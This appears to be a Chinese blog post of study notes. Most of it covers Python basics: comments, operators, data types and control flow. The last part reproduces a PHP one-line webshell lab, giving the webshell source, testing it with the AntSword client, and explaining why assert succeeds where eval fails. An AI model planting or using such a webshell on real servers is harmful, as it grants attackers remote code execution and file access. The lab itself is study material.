整理python内容,复现assert和eval成功失败原因

python 总结:

单行注释:#

多行注释:用三引号 '''(""")或者每行都用#注释

三引号注释其实是文档字符串,可以用__doc__查看文档字符串

运算符:

类型运算符
算数运算符+,-,*,/,//,%,**
比较(关系)运算符==,!=,>,<,>=,<=
赋值运算符=,+=,-=,*=,/=,%=,//=
逻辑运算符and,or,not
位运算符&(按位与),|(按位或),^(按位异或),~(按位取反),<<(左移),>>(右移)
成员运算符in,not in
身份运算符is,not is

基本数据类型:

基本数据类型
python有哪些基本数据类型
不可变类型:

数字:整型(int),浮点型(float),复数型(complex),bool

字符串:str “string”

元组:tuple (1,"a",2,3)

可变类型:

列表:list [1,2,3,4]

字典:dict {"a":1, "b":2}

集合:set {1,2,3,4}

流程控制

条件语句

if语句

#! /usr/bin/python3
# -*- congfig:utf-8 -*-

if 条件表达式(bool值):
    语句块
elif 条件表达式(bool值):
    语句块
else:
    语句块

if语句执行的特点:if语句是从上往下判断的,如果在某个判断上时True,把该判断对于的语句执行后,就会忽略后边的判断语句,也就是说ifelifelse后的语句块只有一个会被执行,执行了上面的越上面的语句被执行的可能性越大

elifelse不是必须的,有时可以只有if.....,有时可以用if...else...

三元表达式

值1 if 条件表达式(bool) else 值2
#如果条件表达式结果为True则返回值1,否则返回值2

循环语句

for循环

#! /usr/bin/python3
# -*- congfig:utf-8 -*-

for 变量名 in 可迭代对象:
    语句块(循环体)
    #continue
    #break
else:
	语句块

while循环

#! /usr/bin/python3
# -*- congfig:utf-8 -*-

while 条件表达式(bool值):
    语句块
    #continue
    #break
else:
    语句块

break,continue,else,pass

break:跳出循环,直接结束循环

continue:跳出当前循环,进入下一次循环(循环没有结束)

else:循环后的else语句是在循环正常结束后执行的语句,如果循环中途被break语句结束则不会执行else语句

pass:pass语句不会做任何事情,当语法上需要一条语句,但不需要做任何操作的时候可以用pass语句

循环语句和条件语句的嵌套

循环语句和条件语句可以相互嵌套,也可以循环套循环,条件套条件。但不建议嵌套太多层,使用嵌套时要注意各层级的缩进

复现assert和eval成功失败原因 

1.编辑一个php文件

2.用小皮软件运行代码

 3.通过中国蚁剑来进行测试

4.测试成功说明我们已经成功扫描了目标主机,获得了更改和下载文件的权限

浅谈eval与assert一句话木马执行区别

我们把代码改为:

<?php
$_POST['1']($_POST['2']);
?>

提交文件时,我们只是把1改为了eval却连接不上了:

引入:

eval函数中参数是字符,如:
eval('echo 1;');
assert函数中参数为表达式 (或者为函数),如:
assert(phpinfo()) 

我们改为:assert() 试试

就成功了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值